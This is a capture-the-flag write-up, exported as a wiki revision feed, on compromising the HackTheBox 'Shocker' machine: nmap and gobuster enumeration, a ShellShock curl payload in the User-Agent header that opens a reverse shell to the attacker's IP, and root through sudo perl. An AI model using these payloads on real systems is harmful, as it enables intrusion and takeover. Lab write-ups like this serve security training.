<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FShocker</id>
	<title>Write-ups/HTB/Shocker - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FShocker"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Shocker&amp;action=history"/>
	<updated>2026-04-21T14:47:11Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Shocker&amp;diff=1175&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 19:56, 12 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Shocker&amp;diff=1175&amp;oldid=prev"/>
		<updated>2022-01-12T19:56:18Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Shocker&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = ShellShock&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-96.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is rated an easy box, and for good reason, however, I spent a good amount of time just enumerating because the initial access was hidden well. For some who have encountered this vulnerability before, this would be a piece of cake, but I had never encountered ShellShock before so I spent a lot of time enumerating. Rooting this box was as simple as one command.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start off with a nmap scan to get an idea of whats running on the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
└─# nmap -sC -sV 10.10.10.56 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-11 16:45 EST&lt;br /&gt;
Nmap scan report for 10.10.10.56&lt;br /&gt;
Host is up (0.031s latency).&lt;br /&gt;
Not shown: 998 closed tcp ports (reset)&lt;br /&gt;
PORT     STATE SERVICE VERSION&lt;br /&gt;
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))&lt;br /&gt;
|_http-title: Site doesnt have a title (text/html).&lt;br /&gt;
|_http-server-header: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)&lt;br /&gt;
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)&lt;br /&gt;
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only two ports, &amp;#039;&amp;#039;&amp;#039;80 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;2222&amp;#039;&amp;#039;&amp;#039;. OpenSSH is using an uncommon port. That however leads no way, so it will be ignored in the remainder of this writeup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vising the webserver we are welcomed by this page. A very simple page with not much content.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-97.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Don&amp;#039;t Bug Me!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using &amp;#039;&amp;#039;&amp;#039;gobuster &amp;#039;&amp;#039;&amp;#039;to find hidden directories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/shocker]&lt;br /&gt;
└─# gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
===============================================================&lt;br /&gt;
Gobuster v3.1.0&lt;br /&gt;
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&lt;br /&gt;
===============================================================&lt;br /&gt;
[+] Url:                     http://10.10.10.56/&lt;br /&gt;
[+] Method:                  GET&lt;br /&gt;
[+] Threads:                 10&lt;br /&gt;
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
[+] Negative Status codes:   404&lt;br /&gt;
[+] User Agent:              gobuster/3.1.0&lt;br /&gt;
[+] Timeout:                 10s&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/12 14:31:38 Starting gobuster in directory enumeration mode&lt;br /&gt;
===============================================================&lt;br /&gt;
/.hta                 (Status: 403) [Size: 290]&lt;br /&gt;
/.htaccess            (Status: 403) [Size: 295]&lt;br /&gt;
/.htpasswd            (Status: 403) [Size: 295]&lt;br /&gt;
/cgi-bin/             (Status: 403) [Size: 294]&lt;br /&gt;
/index.html           (Status: 200) [Size: 137]&lt;br /&gt;
/server-status        (Status: 403) [Size: 299]&lt;br /&gt;
&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/12 14:31:52 Finished&lt;br /&gt;
===============================================================&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nothing noteworthy. After alot of enumeration I started looking at &amp;#039;&amp;#039;&amp;#039;/cgi-bin/&amp;#039;&amp;#039;&amp;#039;. After some googling I found this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;ShellShock&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
Bash can also be used to run commands passed to it by applications and it is this feature that the vulnerability affects. One type of command that can be sent to Bash allows environment variables to be set. Environment variables are dynamic, named values that affect the way processes are run on a computer. The vulnerability lies in the fact that an &amp;#039;&amp;#039;&amp;#039;attacker can tack-on malicious code to the environment variable, which will run once the variable is received&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/cgi https://book.hacktricks.xyz/pentesting/pentesting-web/cgi]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;How Does ShellShock Work?&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
In layman’s terms, Shellshock is a vulnerability that allows systems containing a vulnerable version of Bash to be exploited to execute commands with higher privileges. This allows attackers to potentially take over that system.&lt;br /&gt;
[https://securityintelligence.com/articles/shellshock-vulnerability-in-depth/ https://securityintelligence.com/articles/shellshock-vulnerability-in-depth/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So after reading this I editied my gobuster dir search and find a file, &amp;#039;&amp;#039;&amp;#039;user.sh.&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/shocker]&lt;br /&gt;
└─# gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,jpg,txt,html,php -b 403,404&lt;br /&gt;
===============================================================&lt;br /&gt;
Gobuster v3.1.0&lt;br /&gt;
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&lt;br /&gt;
===============================================================&lt;br /&gt;
[+] Url:                     http://10.10.10.56/cgi-bin/&lt;br /&gt;
[+] Method:                  GET&lt;br /&gt;
[+] Threads:                 10&lt;br /&gt;
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
[+] Negative Status codes:   403,404&lt;br /&gt;
[+] User Agent:              gobuster/3.1.0&lt;br /&gt;
[+] Extensions:              cgi,sh,jpg,txt,html,php&lt;br /&gt;
[+] Timeout:                 10s&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/12 14:45:13 Starting gobuster in directory enumeration mode&lt;br /&gt;
===============================================================&lt;br /&gt;
/user.sh              (Status: 200) [Size: 118]&lt;br /&gt;
&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/12 14:47:05 Finished&lt;br /&gt;
===============================================================&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And reading the file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/shocker]&lt;br /&gt;
└─# cat user.sh&lt;br /&gt;
Content-Type: text/plain&lt;br /&gt;
&lt;br /&gt;
Just an uptime test script&lt;br /&gt;
&lt;br /&gt;
 14:07:18 up 21:24,  0 users,  load average: 0.19, 0.09, 0.03&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As we mentioned earlier, the server is vulnerable to ShellShock which is a vulnerability in Bash which would allow us to execute arbitrary commands and gain remote shell on the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&amp;#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/shocker]&lt;br /&gt;
└─# nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.56] 42834&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
shelly@Shocker:/usr/lib/cgi-bin$ ls&lt;br /&gt;
ls&lt;br /&gt;
user.sh&lt;br /&gt;
shelly@Shocker:/usr/lib/cgi-bin$ pwd&lt;br /&gt;
pwd&lt;br /&gt;
/usr/lib/cgi-bin&lt;br /&gt;
shelly@Shocker:/usr/lib/cgi-bin$ whoami&lt;br /&gt;
whoami&lt;br /&gt;
shelly&lt;br /&gt;
shelly@Shocker:/usr/lib/cgi-bin$ id&lt;br /&gt;
id&lt;br /&gt;
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)&lt;br /&gt;
shelly@Shocker:/usr/lib/cgi-bin$&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Getting root on this was extremly easy. After doing the usual enumeration I found that the user &amp;#039;&amp;#039;&amp;#039;Shelly&amp;#039;&amp;#039;&amp;#039; could run &amp;#039;&amp;#039;&amp;#039;perl&amp;#039;&amp;#039;&amp;#039; as sudo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
shelly@Shocker:/$ sudo -l&lt;br /&gt;
Matching Defaults entries for shelly on Shocker:&lt;br /&gt;
    env_reset, mail_badpass,&lt;br /&gt;
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin&lt;br /&gt;
&lt;br /&gt;
User shelly may run the following commands on Shocker:&lt;br /&gt;
    (root) NOPASSWD: /usr/bin/perl&lt;br /&gt;
shelly@Shocker:/$ sudo perl -e &amp;#039;exec &amp;quot;/bin/sh&amp;quot;;&amp;#039;&lt;br /&gt;
# id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>